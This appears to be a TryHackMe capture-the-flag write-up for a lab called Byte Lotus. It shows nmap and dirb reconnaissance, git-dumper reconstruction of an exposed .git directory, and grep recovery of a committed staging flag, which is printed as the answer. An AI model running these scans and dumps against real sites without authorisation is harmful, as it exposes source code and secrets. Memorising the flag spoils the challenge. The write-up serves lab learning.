A small Flask/Werkzeug web app with its .git directory left exposed. Dumping the
repository recovers the source - and a staging flag someone forgot to remove before launch.
He booked the quiet room. It's not on the floor plan, not in the brochure, not on any door. But port 8080 is wide open, and the rooms it never lists are the ones worth finding.
Welcome to the Byte Lotus, where the WiFi is open, the app is free, and the concierge already knows your coffee order. You spend these first days as a guest who simply notices things - a room that isn't on the floor plan, packets that leave every night at the same hour, a profile assembled from two breakfasts and a livestream.
The Byte Lotus guest-experience platform went live in a hurry, and the night-shift developer shipped more than the website.
Today's itinerary: Dump the exposed source code. Find the flag.
None. Everything comes from the target's exposed .git.
A TryHackMe VM: SSH and a Python web app on 8080.
$ sudo nmap -T5 -p- -sV 10.113.168.168
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
8080/tcp open http Werkzeug httpd 3.0.1 (Python 3.12.3)
Werkzeug means a Python app; the first thing to check is a leaked VCS directory.
$ dirb http://10.113.168.168:8080/ ~/work/CTF-CaptureTheFlag/wordlists/dirb/common.txt
+ http://10.113.168.168:8080/.git/HEAD (CODE:200|SIZE:21)
Conclusion: /.git/ is served - the whole repository (and its history) can be
reconstructed.
git-dumper reassembles a working repo from an exposed .git over HTTP.
$ pip install git-dumper
$ git-dumper http://10.113.168.168:8080/.git/ ./repo
$ grep -r THM repo/
repo/README.md:Staging flag (remove before launch): THM{byt3_l0tus_n3v3r_f0rg3ts}
FLAG = THM{byt3_l0tus_n3v3r_f0rg3ts}
Conclusion: the staging flag was committed to the README and never removed - "byte lotus never forgets", and neither does git.
$ # 1. find the exposed .git via directory brute force
$ dirb http://10.113.168.168:8080/ ~/work/CTF-CaptureTheFlag/wordlists/dirb/common.txt
+ http://10.113.168.168:8080/.git/HEAD (CODE:200|SIZE:21)
$ # 2. reassemble the repository from the exposed .git over HTTP
$ pip install git-dumper
$ git-dumper http://10.113.168.168:8080/.git/ ./repo
$ # 3. grep the recovered source for the flag
$ grep -r THM repo/
repo/README.md:Staging flag (remove before launch): THM{byt3_l0tus_n3v3r_f0rg3ts}
$ grep -r THM repo/
repo/README.md:Staging flag (remove before launch): THM{byt3_l0tus_n3v3r_f0rg3ts}
| # | Stage | Mechanism |
|---|---|---|
| 1 | Recon | dirb finds /.git/HEAD served by the app. |
| 2 | Source disclosure | git-dumper reconstructs the repository from the exposed .git. |
| 3 | Flag | A staging flag committed to README.md: THM{byt3_l0tus_n3v3r_f0rg3ts}. |